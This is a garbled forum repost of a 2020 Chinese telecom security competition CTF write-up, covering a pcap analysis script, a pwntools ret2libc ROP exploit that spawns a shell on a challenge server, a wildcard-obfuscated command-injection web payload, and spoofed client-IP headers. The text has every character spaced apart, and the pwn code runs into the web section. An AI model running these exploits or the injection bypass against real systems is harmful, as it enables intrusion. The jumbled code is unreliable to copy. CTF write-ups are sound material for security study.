搜索

[2237] 2020-12-28_【线下wp】2020年全国电信和互联网行业网络安全管理职业技能竞赛（第九届）全国总决赛

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-16
2020-12-28_【线下wp】2020年全国电信和互联网行业网络安全管理职业技能竞赛（第九届）全国总决赛 【 线 下 w p 】 2 0 2 0 年 全 国 电 信 和 互 联 网 行 业 网 络 安 全 管 理 职 业 技 能 竞 赛 （ 第 九 届 ） 全 国 总 决 赛 原 创   苏 安   E D I 安 全   2 0 2 0 - 1 2 - 2 8 点 击 蓝 字 点 击 蓝 字   ·     关 注 我 们 关 注 我 们 0 1 0 1 M I S C h a c k s h a r k 提 取 最 后 一 个 黑 客 攻 击 的 流 量 黑 客 攻 击 的 流 量 i m p o r t   s c a p y f r o m   s c a p y . a l l   i m p o r t   * f r o m   s c a p y . u t i l s   i m p o r t   P c a p R e a d e r p a c k e t s = r d p c a p ( " . / h a c k s h a r k . p c a p n g " ) f o r   d a t a   i n   p a c k e t s :         s   =   r e p r ( d a t a )         i f   " u n a m e = a d m i n "   i n   d a t a [ ' R a w ' ] . l o a d :                 p r i n t ( d a t a [ ' R a w ' ] . l o a d ) f l a g { b o o o o l _ s q l i } }
T h 1 s _ 1 s _ p 4 s s w d _ ! ! ! 0 2 0 2 P W N f r o m   p w n   i m p o r t   * c o n t e x t . l o g _ l e v e l = ' d e b u g ' #   i o   =   p r o c e s s ( " . / p w n " ) i o   =   r e m o t e ( " 1 0 . 1 0 . 2 1 . 1 1 " , 1 0 0 0 2 ) i o . s e n d l i n e a f t e r ( ' e x i t n ' , ' 1 ' ) i o . s e n d l i n e a f t e r ( ' s k i l l :   n ' , ' s o n g ' ) i o . s e n d l i n e a f t e r ( ' e x i t n ' , ' 1 ' ) i o . s e n d l i n e a f t e r ( ' s k i l l :   n ' , ' j u m p ' ) i o . s e n d l i n e a f t e r ( ' e x i t n ' , ' 1 ' ) i o . s e n d l i n e a f t e r ( ' s k i l l :   n ' , ' r a p ' )
0 3 0 3 W E B w e b 3 没 有 过 滤 a 当 前 目 录 下 有 f l a g . p h p 所 以 直 接   / b i n / c a t   f l a g . p h p 就 好 绕 过 . 拼 接 的 方 法 ， 还 有 一 个 没 有 过 滤 ? 所 以 就 直 接 i o . s e n d l i n e a f t e r ( ' s k i l l :   n ' , ' r a p ' ) i o . s e n d l i n e a f t e r ( ' e x i t n ' , ' 1 ' ) i o . s e n d l i n e a f t e r ( ' s k i l l :   n ' , ' N B A ' ) i o . s e n d l i n e a f t e r ( ' e x i t n ' , ' 4 ' ) e l f   =   E L F ( " . / p w n " ) #   l i b c   =   i o . l i b c l i b c   =   E L F ( " . / l i b c - 2 . 2 3 . s o " ) m a i n   =   0 x 0 0 0 0 0 0 0 0 0 0 4 0 0 9 D D p u t _ p l t   =   e l f . s y m b o l s [ ' p u t s ' ] p u t _ g o t   =   e l f . g o t [ ' p u t s ' ] p o p _ r d i   =   0 x 0 0 0 0 0 0 0 0 0 0 4 0 0 c 7 3 m u s i c _ a d d   =   0 x 0 0 0 0 0 0 0 0 0 0 4 0 0 B 5 1 p a y l o a d   =   ' A '   *   0 x 1 0 + p 6 4 ( 0 )   +   p 6 4 ( p o p _ r d i )   +     p 6 4 ( p u t _ g o t ) +   p 6 4 ( p u t _ p l t )   +   p 6 4 ( m u s i c _ a d d )   i o . s e n d l i n e a f t e r ( ' m u s i c ~ n ' , p a y l o a d ) p u t _ g o t   =   u 6 4 ( i o . r e c v ( 6 ) . l j u s t ( 8 , ' x 0 0 ' ) ) p r i n t ( h e x ( p u t _ g o t ) ) l i b c _ b a s e   =   p u t _ g o t   -   l i b c . s y m b o l s [ ' p u t s ' ] s y s t e m _ a d d r   =   l i b c _ b a s e   +   l i b c . s y m b o l s [ ' s y s t e m ' ] s h _ a d d r   =   l i b c _ b a s e   +   l i b c . s e a r c h ( " / b i n / s h " ) . n e x t ( ) p r i n t ( " s 2 " ) #   i o . s e n d l i n e a f t e r ( ' e x i t n ' , ' 1 ' ) #   i o . s e n d l i n e a f t e r ( ' s k i l l :   n ' , ' s o n g ' ) #   i o . s e n d l i n e a f t e r ( ' e x i t n ' , ' 1 ' ) #   i o . s e n d l i n e a f t e r ( ' s k i l l :   n ' , ' j u m p ' ) #   i o . s e n d l i n e a f t e r ( ' e x i t n ' , ' 1 ' ) #   i o . s e n d l i n e a f t e r ( ' s k i l l :   n ' , ' r a p ' ) #   i o . s e n d l i n e a f t e r ( ' e x i t n ' , ' 1 ' ) #   i o . s e n d l i n e a f t e r ( ' s k i l l :   n ' , ' N B A ' ) #   i o . s e n d l i n e a f t e r ( ' e x i t n ' , ' 4 ' ) #   s   =   i o . r e c v ( ) #   p r i n t ( " r e c v : " , s ) s t a r t   =   0 x 0 0 0 0 0 0 0 0 0 0 4 0 0 9 4 A #   p a y l o a d   =   ' A '   *   0 x 1 0 + p 6 4 ( 0 )   +   p 6 4 ( p o p _ r d i )   +     p 6 4 ( s h _ a d d r ) +   p 6 4 ( s y s t e m _ a d d r )   +   p 6 4 ( m a i n )   p a y l o a d   =   ' A '   *   2 5   +   p 6 4 ( p o p _ r d i )   +     p 6 4 ( s h _ a d d r ) +   p 6 4 ( s y s t e m _ a d d r )   +   p 6 4 ( s t a r t ) #   p a y l o a d   =   ' a a a a b a a a c a a a d a a a e a a a f a a a g a a a h a a a i a a a j a a a k a a a l a a a m a a a n a a a o a a a p a a a q a a a r a a a s a a a t a a a u a a a v a a a w a a a x a a a y a a a z a a b b a a b c a a b d a a b e a a b f a a b g a a b h a a b i a a b j a a b k a a b l a a b m a a b n a a b o a a b p a a b q a a b r a a b s a a b t a a b u a a b v a a b w a a b x a a b y a a b ' i o . s e n d l i n e a f t e r ( ' m u s i c ~ n ' , p a y l o a d ) i o . i n t e r a c t i v e ( ) G E T   / ? a = ' , ` / ? ? ? / ? a ? % 2 0 ? ? a ? ? ? ? ? ` , '   H T T P / 1 . 1
0 4 0 4 C R Y P T O b a c o n 工 具 直 接 解 密 b a c o n i s d e l i c i o u s T i p 题 目 附 件 E D I 安 全 安 全 一 个 专 注 渗 透 实 战 经 验 分 享 的 公 众 号 G E T   / ? a = ' , ` / ? ? ? / ? a ? % 2 0 ? ? a ? ? ? ? ? ` , '   H T T P / 1 . 1 H o s t :   1 0 . 1 0 . 2 1 . 1 2 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 8 3 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 3 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n n e c t i o n :   c l o s e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 X - F o r w a r d e d - F o r :   1 2 7 . 0 . 0 . 1 X - O r i g i n a t i n g - I P :   1 2 7 . 0 . 0 . 1 X - R e m o t e - I P :   1 2 7 . 0 . 0 . 1 X - R e m o t e - A d d r :   1 2 7 . 0 . 0 . 1 关 注 公 众 号   回 复 电 信 比 赛   获 取 题 目 附 件 扫 二 维 码 ｜ 关 注 我 们 扫 二 维 码 ｜ 关 注 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理